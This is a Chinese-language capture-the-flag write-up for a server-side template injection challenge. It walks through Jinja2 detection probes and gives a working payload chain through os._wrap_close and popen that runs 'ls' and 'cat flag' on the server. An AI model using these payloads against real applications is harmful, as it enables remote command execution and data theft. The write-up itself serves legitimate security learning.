題目連結

https://learn.cylabacademy.org/library/492

題目解法

  1. 題目標題是 SSTI,因此啟動網站後我們嘗試輸入 {{ 7*7 }},結果顯示 49,表示存在 SSTI 漏洞,且可能是 Python/Jinja2 或 PHP/Twig。

    {{ 7*7 }}
    

    input 7*7 output 49

  2. 輸入 {{ 7*'7' }} 輸出 7777777 確定是 Python/Jinja2。

    {{ 7*'7' }}
    

    output 7777777

  3. 接著我們要嘗試尋找到 os 模組,輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容,我們要嘗試找到 os._wrap_close,搜尋後發現他是第 132 個(從 0 開始)。

    {{ [].__class__.__base__.__subclasses__() }}
    

    subclasses output

  4. 使用以下指令就能夠執行 linux 指令,找到 flag 並讀取它。 用 ls 列出當前目錄下的檔案:

    {{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('ls').read() }}
    

    ls output

    用 cat 讀取 flag:

    {{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read() }}
    

    cat flag output

    picoCTF{s4r-------------------------------------------533}